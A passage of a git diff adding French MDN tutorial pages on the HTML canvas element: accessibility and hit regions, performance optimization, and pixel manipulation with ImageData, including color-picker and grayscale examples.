+<div>{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
+
+<div class="summary">L'élément {{HTMLElement("canvas")}} lui-même est juste un bitmap et ne fourni aucune information sur les objets dessinés. Le contenu des canvas n'est pas sujet aux outils d'accessibility comme l'est la sémantique HTML. En général vous devriez éviter d'utiliser les canvas sur les sites ou les applications accessibles. Le marche à suivre suivante peut vous aider à les rendre plus accessibles.</div>
+
+<h2 id="Moyen_de_repli">Moyen de repli</h2>
+
+<p>Le contenu à l'intérieur d'un tag <code>&lt;canvas&gt; ... &lt;/canvas&gt;</code> peut être utilisé comme moyen de secours pour les navigteurs qui ne supportent pas le rendu de canvas. C'est aussi très utile pour les utilisateurs qui utilisent des technologies adaptées (comme les lecteurs d'écran) qui peuvent lire et interpréter les éléments du DOM. Un bon exemple sur <a href="http://www.html5accessibility.com/tests/canvas.html">html5accessibility.com</a> demontre comment cela peut être fait.</p>
+
+<pre class="brush: html notranslate">&lt;canvas&gt;
+  &lt;h2&gt;Shapes&lt;/h2&gt;
+  &lt;p&gt;A rectangle with a black border.
+   In the background is a pink circle.
+   Partially overlaying the &lt;a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();"&gt;circle&lt;/a&gt;.
+   Partially overlaying the circle is a green
+   &lt;a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();"&gt;square&lt;/a&gt;
+   and a purple &lt;a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();"&gt;triangle&lt;/a&gt;,
+   both of which are semi-opaque, so the full circle can be seen underneath.&lt;/p&gt;
+&lt;/canvas&gt; </pre>
+
+<p>Jetez un oeil à la <a href="https://www.youtube.com/watch?v=ABeIFlqYiMQ">video comment NVDA lit cet exemple par Steve Faulkner</a> (en anglais).</p>
+
+<h2 id="Les_règles_ARIA">Les règles ARIA</h2>
+
+<p>Accessible Rich Internet Applications <strong>(<a href="/en-US/docs/Web/Accessibility/ARIA">ARIA</a>)</strong> (≈ <a href="https://fr.wikipedia.org/wiki/Accessible_Rich_Internet_Applications">Les applications Internet Accessibles Riches)</a> défini des pistes pour rendre le contenu Web et les applications Web plus accessibles pour les personnes ayant un handicap. Vous pouvez utiliser les attributs ARIA pour decrire le comportement et le but de vos éléments canvas. Allez voir <a href="/en-US/docs/Web/Accessibility/ARIA">ARIA</a> et <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques">les techniques ARIA</a> pour plus d'informations.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"&gt;&lt;/canvas&gt;
+</pre>
+
+<h2 id="Zones_cibles_hit_Region">Zones cibles (hit Region)</h2>
+
+<p>Que les coordonnés de la souris soient dans une zone particulière des canvas, est un problème fréquent à résoudre. L'API de la "hit region" vous permet de definir une zone de votre canvas et offre une autre possibilité pour proposer du contenu interactif dans les canvas a destination des outils d'accessibilité. Il permet de rendre la "hit detection" plus simple easier and vous laisser envoyer des événements aux éléments du DOM. L'API a les trois methodes suivantes (qui sont encore expérimentales dans les navigateurs actuel ; reportez-vous au tableau des comptibilités des navigateurs).</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Ajoute une "hit region" au canvas..</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Supprime la "hit region" avec l'<code>id</code> spécifiée venant du canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Retire toutes les "hit regions" du cnavas.</dd>
+</dl>
+
+<p>Vous pouvez ajouter une "hit region" à votre chemin et vérifier la propriété {{domxref("MouseEvent.region")}} pour tester si votre souris entre dans votre région, par exemple.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;script&gt;
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: 'circle'});
+
+canvas.addEventListener('mousemove', function(event) {
+  if (event.region) {
+    alert('hit region: ' + event.region);
+  }
+});
+&lt;/script&gt;</pre>
+
+<p>La méthode <code>addHitRegion()</code> accepte aussi une option de <code>control</code> pour envoyer des événement vers un élément (c'est un enfant des canvas):</p>
+
+<pre class="brush: js notranslate">ctx.addHitRegion({control: element});</pre>
+
+<p>Cela peut être utile pour le routage d'éléments {{HTMLElement("input")}}, par exemple. Regardez aussi <a href="http://codepen.io/adobe/pen/BhcmK">codepen demo</a>.</p>
+
+<h2 id="Focus_rings">Focus rings</h2>
+
+<p>Quand on travaille avec le clavier, focus rings (anneaux de mise au point) sont utilies pour aider dans la navigation sur une page. Pour dessiner des "focus ring" dans un dessin de canvas, la propriété <code>drawFocusIfNeeded</code> peut être utilisée.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}</dt>
+ <dd>Si un élément donné est ciblé, cette méthode dessine un anneaud de mise ne valeur autoure du chemin courant.</dd>
+</dl>
+
+<p>De plus, la méthode <code>scrollPathIntoView()</code> peut être utilisée pour rendre visible un élément dans une page s'il est ciblé, par exemple.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}</dt>
+ <dd>Affiche le chemin courant ou le chemin donné.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas accessibility use cases</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas element accessibility issues</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">HTML5 Canvas Accessibility in Firefox 13 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Best practices for interactive canvas elements</a></li>
+</ul>
+
+<div>{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/index.html
new file mode 100644
index 0000000000..a430b361bd
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/index.html
@@ -0,0 +1,52 @@
+---
+title: Tutoriel canvas
+slug: Web/API/Canvas_API/Tutoriel_canvas
+tags:
+  - Canvas
+  - Guide
+  - HTML
+  - Tutoriel_canvas
+  - Tutoriels
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div>{{CanvasSidebar}}</div>
+
+<p><img alt="" src="/@api/deki/files/1232/=Canvas_tut_examples.jpg" style="float: right;"></p>
+
+<p class="summary"><strong><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/canvas" title="fr/HTML/Canvas"><code>&lt;canvas&gt;</code></a></strong> est un nouvel élément <a href="https://developer.mozilla.org/fr/docs/Web/HTML" title="fr/HTML">HTML</a> qui peut être utilisé pour dessiner des éléments graphiques à l'aide de scripts (habituellement <a href="https://developer.mozilla.org/fr/docs/Glossaire/JavaScript" title="fr/JavaScript">JavaScript</a>). Il permet par exemple de dessiner des graphiques, de réaliser des compositions de photographies ou des animations simples (voire <a href="https://developer.mozilla.org/fr/docs/Un_raycaster_basique_avec_canvas" title="fr/Un_raycaster_basique">pas si simples</a>). Les images à droite montrent quelques exemples d'implémentations utilisant <code>&lt;canvas&gt;</code> que nous verrons plus tard dans ce tutoriel.</p>
+
+<p><span id="result_box" lang="fr"><span>Ce tutoriel explique comment utiliser l'élément <code>&lt;canvas&gt;</code> pour dessiner des graphiques 2D, en commençant par les bases.</span> <span>Les exemples fournis devraient vous donner des idées claires sur ce que vous pouvez faire avec la toile et fournir des extraits de code qui peuvent vous aider à créer votre propre contenu.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>D'abord introduit dans WebKit par Apple pour le tableau de bord OS X, <code>&lt;canvas&gt;</code> a depuis été implémenté dans les navigateurs.</span> <span>Aujourd'hui, tous les principaux navigateurs le prennent en charge.</span></span></p>
+
+<h2 id="Avant_de_commencer" name="Avant_de_commencer">Avant de commencer</h2>
+
+<p>L'utilisation de l'élément <code>&lt;canvas&gt;</code> n'a rien de très compliqué, mais nécessite tout de même une compréhension de base de <a href="https://developer.mozilla.org/fr/docs/Web/HTML" title="fr/HTML">HTML</a> et <a href="https://developer.mozilla.org/fr/docs/Glossaire/JavaScript" title="fr/JavaScript">JavaScript</a>. L'élément <code>&lt;canvas&gt;</code> n'est pas reconnu par tous les vieux navigateurs, mais il est supporté par les versions les plus récentes des principaux. <span id="result_box" lang="fr"><span>La taille par défaut de </span></span> canvas <span lang="fr"><span> est 300 px × 150 px (largeur × hauteur).</span> <span>Mais les tailles personnalisées peuvent être définies à l'aide des propriétés <a href="https://developer.mozilla.org/fr/docs/Web/HTML">HTML</a> <code>height</code> et <code>width</code>.</span> <span>Afin de dessiner des graphiques sur </span></span> canvas <span lang="fr"><span>, nous utilisons un objet de contexte JavaScript, qui crée des graphiques à la volée.</span></span></p>
+
+<h2 id="Dans_ce_tutoriel" name="Dans_ce_tutoriel">Dans ce tutoriel</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Utilisation_de_base" title="fr/Tutoriel_canvas/Utilisation_de_base">Utilisation de base</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques" title="fr/Tutoriel_canvas/Formes_géométriques">Dessin de formes géométriques</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs" title="fr/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs">Ajout de styles et de couleurs</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Dessin_de_texte_avec_canvas">Dessin de texte</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Utilisation_d'images" title="fr/Tutoriel_canvas/Utilisation_d'images">Utilisation d'images</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Transformations" title="fr/Tutoriel_canvas/Transformations">Transformations</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Canvas_API/Tutorial/Compositing" title="fr/Tutoriel_canvas/Compositions">Compositions et découpage</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Animations_basiques" title="fr/Tutoriel_canvas/Animations_basiques">Animations basiques</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Advanced_animations">Animations avancées</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Pixel_manipulation_with_canvas">Manipulation des pixels</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Régions touchées et accessibilité</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">Optimisation</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Canvas_API/Tutorial/Finale">Final</a></li>
+</ul>
+
+<h2 id="Voir_aussi" name="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Canvas" title="fr/HTML/Canvas">Page du sujet canvas</a></li>
+ <li><a class="external external-icon" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a> (en)</li>
+ <li><a href="/Special:Tags?tag=Exemples_d'utilisation_de_canvas&amp;language=fr" title="Special:Tags?tag=Exemples_d'utilisation_de_canvas&amp;language=fr">Exemples d'utilisation de canvas</a> (en)</li>
+</ul>
+
+<p>{{ Next("Tutoriel_canvas/Utilisation_de_base") }}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html
new file mode 100644
index 0000000000..d8e6e8383c
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html
@@ -0,0 +1,112 @@
+---
+title: Optimiser les Canvas
+slug: Web/API/Canvas_API/Tutoriel_canvas/Optimizing_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>L'élément {{HTMLElement("canvas")}} est l'un des standards les plus utilisés pour le rendu graphique 2D sur le web. Il est surtout utilisé dans les jeux et les visualisations complexes. Cependant, les sites et applications web poussent les canvas à leurs limites, et les performances commencent à en pâtir. Cet article propose des suggestions pour optimiser votre utilisation de l'élément canvas, et pour être certain que votre site ou application web fonctionne bien.</p>
+</div>
+
+<h2 id="Conseils_sur_les_performances">Conseils sur les performances</h2>
+
+<p>Ceci est une liste de conseils pour améliorer les performances</p>
+
+<h3 id="Pré-rendre_les_primitifs_similaires_ou_répéter_les_objects_dans_un_canvas_hors-champ">Pré-rendre les primitifs similaires ou répéter les objects dans un canvas hors-champ</h3>
+
+<p>Si vous avez besoin d'ajouter un dessin complexe identique à chaque image rendue, préférez l'utilisation d'un canvas hors-champ, le rendre une fois (ou à chaque fois qu'il change) sur ce canvas, puis dessinez-le sur le canvas principal à chaque image rendue.</p>
+
+<pre class="brush: js notranslate">myEntity.offscreenCanvas = document.createElement("canvas");
+myEntity.offscreenCanvas.width = myEntity.width;
+myEntity.offscreenCanvas.height = myEntity.height;
+myEntity.offscreenContext = myEntity.offscreenCanvas.getContext("2d");
+
+myEntity.render(myEntity.offscreenContext);
+</pre>
+
+<h3 id="Abandonnez_les_coordonnées_décimales_et_utilisez_des_entiers_à_la_place">Abandonnez les coordonnées décimales et utilisez des entiers à la place</h3>
+
+<p>Un rendu de sous-pixel est opéré quand on dessine des objets sur un canvas sans valeur entière.</p>
+
+<pre class="brush: js notranslate">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>Cela pousse le navigateur à faire des calculs supplémentaires pour créer un effet d'anti-crénelage. Pour empêcher cela, il faut s'assurer d'arrondir les coordonnées utilisées pour {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p>
+
+<h3 id="Ne_pas_redimensionner_dimages_avec_drawImage">Ne pas redimensionner d'images avec <code>drawImage</code></h3>
+
+<p>Préférez mettre en cache plusieurs dimensions de votre image dans un canvas hors-champ au lieu de les redimensionner constamment avec {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p>
+
+<h3 id="Utiliser_des_canvas_empilés_pour_les_scènes_complexes">Utiliser des canvas empilés pour les scènes complexes</h3>
+
+<p>Pour des scènes complexes, on peut souvent remarquer que quelques éléments changent souvent tandis que d'autres ne changent jamais. Une optimisation possible dans ce cas consiste à utiliser plusieurs calques sous forme de canvas empilés.</p>
+
+<p>Par exemple, on peut créer un calque UI, dessiné au-dessus de tous les autres uniquement lorsque l'utilisateur accède à un menu. En dessous, un calque <em>jeu</em> où les entités du jeu sont souvent mises à jour. Et, à l'arrière, un calque de fond rarement modifié.</p>
+
+<pre class="brush: html notranslate">&lt;div id="stage"&gt;
+  &lt;canvas id="ui-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="game-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="background-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black
+  }
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3 }
+  #game-layer { z-index: 2 }
+  #background-layer { z-index: 1 }
+&lt;/style&gt;
+</pre>
+
+<h3 id="Du_CSS_pour_les_grandes_images_de_fond">Du CSS pour les grandes images de fond</h3>
+
+<p>Si comme pour la plupart des jeux, vous utilisez une image de fond statique, préférez utiliser un simple {{HTMLElement("div")}} en dessous du canvas avec les propriétés CSS {{cssxref("background")}} appropriées. Cela vous évitera de redessiner une grande image dans le canvas à chaque tick.</p>
+
+<h3 id="Redimensionner_les_canvas_avec_CSS_transform">Redimensionner les canvas avec CSS transform</h3>
+
+<p><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Les transformations CSS</a> sont plus rapides car elles utilisent le GPU. Le mieux est d'utiliser un canvas plus grand et de réduire sa taille. Pour Firefox OS, les dimensions sont de 480 x 320 px.</p>
+
+<pre class="brush: js notranslate">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = "0 0"; //scale from top left
+stage.style.transform = "scale(" + scaleToFit + ")";
+</pre>
+
+<h3 id="Utiliser_lattribut_moz-opaque_Gecko_only">Utiliser l'attribut <code>moz-opaque</code> (Gecko only)</h3>
+
+<p>Si le canvas n'a pas besoin de transparence, ajouter l'attribut <code>moz-opaque</code> dans la balise canvas. Cette information peut être utilisée par le navigateur pour optimiser le rendu.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="mycanvas" moz-opaque&gt;&lt;/canvas&gt;</pre>
+
+<h3 id="Dautres_conseils">D'autres conseils</h3>
+
+<ul>
+ <li>Regrouper les appels canevas (par exemple, dessiner un chemin de plusieurs lignes plutôt que plusieurs lignes séparées).</li>
+ <li>Éviter de refaire un rendu si ce n'est pas nécessaire.</li>
+ <li>Rendre uniquement les différences, pas tout le canvas.</li>
+ <li>Éviter la propriété {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} quand c'est possible.</li>
+ <li>Empêcher <a href="/fr/docs/Dessin_de_texte_avec_canvas">le rendu de texte</a> quand c'est possible.</li>
+ <li>Essayer différents moyens d'effacer le canvas : ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} vs. {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} vs. redimensionner le canevas).</li>
+ <li>Avec les animations, utiliser {{domxref("window.requestAnimationFrame()")}} plutôt que {{domxref("window.setInterval()")}}.</li>
+ <li>Faire attention aux bibliothèques physiques lourdes.</li>
+ <li>Tester les performances avec <a href="http://jsperf.com" title="http://jsperf.com">JSPerf</a>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Improving HTML5 Canvas Performance – HTML5 Rocks</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optimizing your JavaScript game for Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html
new file mode 100644
index 0000000000..a2182f43c1
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html
@@ -0,0 +1,258 @@
+---
+title: Manipulation de pixels avec canvas
+slug: Web/API/Canvas_API/Tutoriel_canvas/Pixel_manipulation_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</div>
+
+<div class="summary">
+<p>Jusqu'à présent, nous n'avons pas examiné dans le détail les pixels réels de notre canevas. Avec l'objet ImageData, vous pouvez directement lire et écrire dans le tableau de données de l'image, pour manipuler les pixels un par un. Nous verrons également comment le lissage (anticrénelage) de l'image peut être contrôlé et comment sauvegarder des images depuis votre canevas.</p>
+</div>
+
+<h2 id="Lobjet_ImageData">L'objet <code>ImageData</code></h2>
+
+<p>L'objet {{domxref("ImageData")}} représente les données de pixels sous-jacentes à une zone d'un objet canevas. Il contient les attributs (en lecture seule) suivants :</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>La largeur de l'image en pixels.</dd>
+ <dt><code>height</code></dt>
+ <dd>La hauteur de l'image en pixels.</dd>
+ <dt><code>data</code></dt>
+ <dd>Un {{jsxref("Uint8ClampedArray")}} représentant un tableau monodimensionnel contenant les données dans l'ordre RVBA, ayant des valeurs entières entre 0 et  255 (inclus).</dd>
+</dl>
+
+<p>La propriété <code>data</code> retourne un tableau {{jsxref("Uint8ClampedArray")}} auquel on peut accéder pour voir plus en détail les données brutes des pixels ; chaque pixel est représenté par quatre valeurs sur un octet (rouge, vert, bleu et alpha, dans cet ordre ; c'est-à-dire, le format "RVBA").  Chaque composante de couleur est représentée par un entier entre 0 et 255. Chaque composante reçoit un indice à l'intérieur du tableau, la composante rouge du pixel supérieur gauche étant à l'indice 0 à l'intérieur du tableau. Les pixels continuent ensuite de gauche à droite, puis vers le bas, jusqu'au bout du tableau.</p>
+
+<p>Le {{jsxref("Uint8ClampedArray")}} contient <code>height</code><em>(hauteur)</em> × <code>width</code><em>(largeur)</em>  × 4 octets, dont les valeurs d'indices vont de 0 à (<code>height</code>×<code>width</code>×4)-1.</p>
+
+<p>Par exemple, pour lire la valeur de la composante bleue d'un pixel situé en colonne 200, ligne 50  de l'image, vous pouvez faire ce qui suit :</p>
+
+<pre class="brush: js notranslate">composanteBleue = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];</pre>
+
+<p>Vous pouvez accéder à la taille en octets du tableau de pixels en lisant l'attribut <code>Uint8ClampedArray.length</code> :</p>
+
+<pre class="brush: js notranslate">var nbOctets = imageData.data.length;
+</pre>
+
+<h2 id="Création_dun_objet_ImageData">Création d'un objet <code>ImageData</code></h2>
+
+<p>Pour créer un nouvel objet <code>ImageData</code> vierge, vous pouvez utiliser la méthode  {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}. Il existe deux versions de la méthode <code>createImageData() </code>:</p>
+
+<pre class="brush: js notranslate">var monImageData = ctx.createImageData(largeur, hauteur);</pre>
+
+<p>Cela crée un nouvel objet <code>ImageData</code> avec les dimensions spécifiées. Tous les pixels sont prédéfinis comme étant noirs transparents.</p>
+
+<p>Vous pouvez aussi créer un nouvel objet <code>ImageData</code> ayant les mêmes dimensions que celles de l'objet indiqué par <code>autreImageData</code>. Les pixels du nouvel objet sont tous prédéfinis comme étant noirs transparents. <strong>Cela ne copie pas les données d'image !</strong></p>
+
+<pre class="brush: js notranslate">var monImageData = ctx.createImageData(autreImageData);</pre>
+
+<h2 id="Obtention_des_données_pixel_pour_un_contexte">Obtention des données pixel pour un contexte</h2>
+
+<p>Pour obtenir un objet  <code>ImageData</code> contenant une copie des données pixel pour un contexte de canevas, vous pouvez utiliser la méthode <code>getImageData()</code> :</p>
+
+<pre class="brush: js notranslate">var monImageData = ctx.getImageData(gauche, haut, largeur, hauteur);</pre>
+
+<p>Cette méthode retourne un objet <code>ImageData</code> représentant les données pixel pour la zone du canevas dont les coins sont représentés par les points  (<code>left</code>,<code>top</code>) <em><code> (gauche,haut)</code></em>, (<code>left+width</code>, <code>top</code>) <em>(gauche+largeur, haut)</em>, (<code>left</code>, <code>top+height</code>)<em> (gauche, haut+hauteur)</em> et  (<code>left+width</code>, <code>top+height</code>) <em>(gauche+largeur, haut+hauteur)</em>. Les coordonnées sont spécifiées en unités d'espace de coordonnées du canevas.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Tous les pixels en dehors du canevas seront retournés comme noirs transparents dans l'objet <code>ImageData</code> résultant.</p>
+</div>
+
+<p>Cette méthode est aussi présentée dans l'article <a href="https://developer.mozilla.org/fr/docs/HTML/Manipulating_video_using_canvas">Manipulation vidéo utilisant canvas</a>.</p>
+
+<h3 id="Une_pipette_à_couleur">Une pipette à couleur</h3>
+
+<p>Dans cet exemple, nous utilisons la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a>pour afficher la couleur en dessous du curseur de la souris. Pour cela, nous avons besoin de la position en cours de la souris donnée par <code>layerX</code> et <code>layerY</code>, nous recherchons ensuite les données pixel à cette position dans le tableau de pixels que <a href="https://developer.mozilla.org/fr/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData()</a> nous fournit. Finalement, nous utilisons les données du tableau pour définir une couleur d'arrière-plan et un texte dans le <code>&lt;div&gt;</code> pour afficher la couleur.</p>
+
+<div class="hidden">
+<pre class="brush: html; notranslate">&lt;canvas id="canvas" width="300" height="227" style="float:left"&gt;&lt;/canvas&gt;
+&lt;div id="color" style="width:200px;height:50px;float:left"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="notranslate"><code>var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);</code></pre>
+
+<p>{{ EmbedLiveSample('A_color_picker', 610, 240) }}</p>
+
+<h2 id="Peinture_des_données_pixel_dans_un_contexte">Peinture des données pixel dans un contexte</h2>
+
+<p>Vous pouvez utiliser la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData() </a>pour peindre les données pixel dans un contexte :</p>
+
+<pre class="brush: js notranslate">ctx.putImageData(monImageData, dx, dy);
+</pre>
+
+<p>Les paramètres <code>dx</code> et <code>dy</code> indiquent les coordonnées système dans le contexte du coin supérieur gauche des données pixel qui doivent être peintes.</p>
+
+<p>Par exemple, pour peindre l'image entière représentée par <code>monImageData</code> dans le coin supérieur gauche du contexte, vous pouvez simplement faire ce qui suit :</p>
+
+<pre class="brush: js notranslate">ctx.putImageData(monImageData, 0, 0);
+</pre>
+
+<h3 id="Niveaux_de_gris_et_inversion_de_couleurs">Niveaux de gris et inversion de couleurs</h3>
+
+<p>Dans cet exemple, nous itérons sur tous les pixels pour changer leurs valeurs, puis nous remettons le tableau de pixels modifié sur le canevas à l'aide de <a href="/fr-FR/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. La fonction inversion soustrait simplement chaque couleur de la valeur maximale 255. La fonction  grayscale <em>(niveaux de gris)</em> fait simplement la moyenne du rouge, du vert et du bleu. Vous pouvez également utiliser une moyenne pondérée, donnée par la formule x = 0.299r + 0.587v + 0.114b, par exemple. Voir <a href="https://fr.wikipedia.org/wiki/Niveau_de_gris">Niveaux de gris</a> sur Wikipedia pour plus d'informations.</p>
+
+<div class="hidden">
+<pre class="brush: html; notranslate">&lt;canvas id="canevas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+  &lt;input id="btnniveaudegris" value="Niveau de gris" type="button"&gt;
+  &lt;input id="btninversion" value="Inversion" type="button"&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  dessiner(this);
+};
+
+function dessiner(img) {
+  var canevas = document.getElementById('canevas');
+  var ctx = canevas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canevas.width, canevas.height);
+  var data = imageData.data;
+
+  var inversion = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      data[i]     = 255 - data[i];     // rouge
+      data[i + 1] = 255 - data[i + 1]; // vert
+      data[i + 2] = 255 - data[i + 2]; // bleu
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var niveaudegris = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      var moy = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = moy; // rouge
+      data[i + 1] = moy; // vert
+      data[i + 2] = moy; // bleu
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var btninversion = document.getElementById('btninversion');
+  btninversion.addEventListener('click', inversion);
+  var btnniveaudegris = document.getElementById('btnniveaudegris');
+  btnniveaudegris.addEventListener('click', niveaudegris);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}</p>
+
+<h2 id="Zoom_et_anticrénelage">Zoom et anticrénelage</h2>
+
